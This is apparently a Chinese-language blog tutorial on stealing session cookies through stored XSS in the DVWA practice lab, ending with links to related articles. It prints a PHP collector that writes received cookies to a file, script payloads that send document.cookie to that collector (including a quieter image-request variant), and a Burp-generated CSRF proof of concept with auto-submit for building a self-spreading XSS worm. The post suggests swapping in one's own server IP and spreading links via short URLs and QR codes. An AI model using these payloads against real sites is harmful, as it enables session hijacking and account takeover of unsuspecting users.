xss盗取cookie

什么是cookie

cookie是曲奇饼,啊开个玩笑,cookie是每个用户登录唯一id和账号密码一样可以登录到网站,是的你没有听错cookie可以直接登录,至于服务器怎么设置cookie

和cookie存储这里就不说了,需的要自行百度

xss盗取cookie(dvwa演示)

学习xss时觉得啊这,不就是一个弹窗吗,有啥用,经过学习后发现xss的危害还是挺大的,弹窗的目的只是说明这里可以执行动态脚本,那就可以干很多事情了

环境配置

官网:http://www.dvwa.co.uk/

下载地址:https://github.com/ethicalhack3r/DVWA

下载方式:zip下载或git https://github.com/ethicalhack3r/DVWA

下载完成放入http服务下即可

我使用的是phpstudy下载地址:https://m.xp.cn/

设置接受盗取cookie方式

xss盗取的cookie肯定是要保存到我们自己的服务器上,可以设置一个接受cookie的php网页代码接受到请求携带cookie后保存到文件或者数据库中等都可以,当然也可以不设置存储,随便请求一个一个服务器网页存在不存在无所谓,因为请求可以保存到日志文件,但是看起来可能不方便而已,下面是保存cookie的php代码

<?php

if(isset($_GET['cookie']))                 //如果接收到cookie
{
$file = fopen('./cookie.txt', 'a'); //打开存储的文件
fwrite($file, $_GET['cookie']."\r\n"); //将获取的cookie存储
fclose($file); //关闭文件
}

放置xss(这里用存储型xss测试)

<script>document.location='http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

我这里用的本地的测试,document.cookie,就是获取cookie,然后携带cookie访问http://127.0.0.1/cookies/cookies.php?(换成自己服务器ip就可以了,这里我本地测试),先查看一下我们的cookie

然后点击我们放存储型xss的地方(xss(stored)),发现跳转到了令一个网站,并且携带了你的cookie

在到cookie.php目录查看cookie.txt,可以发现cookie已经被存储,cookie被盗取,我们可以利用cookie进行登录



这种动静可能有点大,可以用js加载图片的方式来发送带有cookie的请求,

<script>new Image().src = 'http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

使用new Image()进行预加载



当然如果你还有其动静小的方法可以留言,当然还可以用来加载其他的xss神器js代码

<script src=''>

xss蠕虫

前提条件

有存储型xss,可以csrf

原理(个人理解,如有错误可以评论联系我)

相关代码(只是简单的,有过滤,要考虑绕过)

主体存储xss

<script>document.location='csrf地址';</script>

csrf生成

用burpsuite抓包,右键,如图选择,copy复制,然后放到自己服务器等等,当然也可以自己编写csrf的poc,使之功能更加强大,可以自己点击等等,还有一些绕过等等,这只是简单的csrf的poc





csrf演示代码,抓取的dvwa包加了js自动点击

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/lmg/vulnerabilities/xss_s/index.php" method="POST">
<input type="hidden" name="txtName" value="测试" />
<input type="hidden" name="mtxMessage" value="测试" />
<input type="hidden" name="btnSign" value="Sign Guestbook" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript"> // js自动点击
var form = document.getElementsByTagName('form')[0];
var input = document.getElementsByTagName('input')[3];
input.value = window.location.hash.substr(1);
form.submit();
</script>
</body>
</html>

受害者储存xss和主体xss类似只是跳转的网页不同

<script>document.location='csrf地址';</script>

个人思考

xss的蠕虫利用起来还是比较难的,要有存储型xss(还要各种绕过),和csrf,但是危害是很大的,不仅仅是传播文章,可以利用这个传播盗取更多人cookie,个人信息,位置,浏览器版本安装软件等等

xss利用的思考(持续思考)

像反射型xss,dom型的xss不在局限于点一个很长的链接,可以利用其他第三方网站来跳转,也可以利用短链接,也可以利用二维码,二维码捆绑一个链接,所以扫描未知二维码是非常危险的事情

像存储型xss,可以利用储存型xss对其他网站进行流量攻击

参考文章与说明

技术讨论 | 记一次XSS蠕虫渗透实验

最后欢迎访问我的个人博客:https://lmg66.github.io/

说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

xss利用的更多相关文章

  1. xss利用和检测平台

    xssing 是安全研究者Yaseng发起的一个基于 php+mysql的 网站 xss 利用与检测开源项目,可以对你的产品进行黑盒xss安全测试,可以兼容获取各种浏览器客户端的网站url,cooki ...

  2. 漏洞利用:验证绕过,XSS利用,Cookic盗用,文件上传

    1.      文件上传 低级别 写好上传的内容 选择好上传的文件 上传成功. 测试:访问文件,执行代码 中级别 修改文件后缀为png 上传该文件 抓包修改文件后缀为php,然后允许数据包通过. 上传 ...

  3. xss利用——BeEF#stage4(其余功能介绍)

    目录 信息收集 => 社会工程 =>网络扫描 => 结合metasploit => tunneling => xss => 维持权限 功能介绍 #1 - 信息收集 ...

  4. xss利用——BeEF#stage2(初始并持续化控制)

    全文概览 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,如下图 整个过程分为三个步骤,第一步是初始化控制,第二步是持续控制,第三步是攻击.在第三步中的七个攻击方法是可以交叉的,比如可以同时攻击用户和 ...

  5. xss利用——BeEF#stage3(绕过同源策略与浏览器代理)

    绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...

  6. xss利用——BeEF#stage1

    全文概览 简介 BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护.是由ruby语言开发的专门针对浏览 ...

  7. xss:利用编码绕过(新手向)

    当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外).标签的属性中(<a href='xxxx'>)进行实体字 ...

  8. InnerHTML属性的XSS利用

    来自:http://www.myhack58.com/Article/html/3/7/2011/32395.htm innerHTML 是个奇怪的HTML属性,不是W3C标准支持的,但几乎所有的厂商 ...

  9. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

随机推荐

  1. vulstack红队评估(二)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX     2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...

  2. 关于 JOIN 耐心总结,学不会你打我系列

    现在随着各种数据库框架的盛行,在提高效率的同时也让我们忽略了很多底层的连接过程,这篇文章是对 SQL 连接过程梳理,并涉及到了现在常用的 SQL 标准. 其实标准就是在不同的时间,制定的一些写法或规范 ...

  3. Unity中数据的存储与交互的初步分析(PlayerPrefs,Dictionary,JsonUnility)

    1.PlayerPrefs   PlayerPrefs.SetString(key,Value);  PlayerPrefs.GetString(key,Value);字符串类型 PlayerPref ...

  4. Linux 安装指定jdk版本

    操作步骤 卸载系统自带jdk版本 1.查看安装的jdk rpm -qa | grep java 2.卸载系统自带jdk rpm -e --nodeps 包名 下载jdk 当前最新版本下载地址:http ...

  5. 1169A+B问题终结版(高精度计算)

    描述 给定两个整数A和B,输出A+B的值.A和B的值可能会很大很大,甚至达到100位.现在请你解决这一问题. 输入 两行,分别是两个整数A,B,换行隔开.A和B会很大很大. 输出 一个整数,即A+B的 ...

  6. 深入理解JVM(③)ZGC收集器

    前言 ZGC是一款在JDK11中新加入的具有实验性质的低延迟垃圾收集器,目前仅支持Linux/x86-64.ZGC收集器是一款基于Region内存布局的,(暂时)不设分代的,使用了读屏障.染色指针和内 ...

  7. 多语言工作者の十日冲刺<4/10>

    这个作业属于哪个课程 软件工程 (福州大学至诚学院 - 计算机工程系) 这个作业要求在哪里 团队作业第五次--Alpha冲刺 这个作业的目标 团队进行Alpha冲刺--第四天(05.03) 作业正文 ...

  8. Kubernetes学习笔记(九):StatefulSet--部署有状态的多副本应用

    StatefulSet如何提供稳定的网络标识和状态 ReplicaSet中的Pod都是无状态,可随意替代的.又因为ReplicaSet中的Pod是根据模板生成的多副本,无法对每个副本都指定单独的PVC ...

  9. Windows安装C的编译环境

    对于java开发者来说安装C的编译环境不是非常熟悉,因此本文对C的安装环境进行介绍以及windows编译Redis和Zookeeper的过程.MinGW主要用于按照gcc.make等环境,cywin用 ...

  10. drf之序列化组件(一):Serializer

    序列化组件:Serializer.ModelSerializer.ListModelSerializer Serializer  偏底层  ModelSerializer       重点  List ...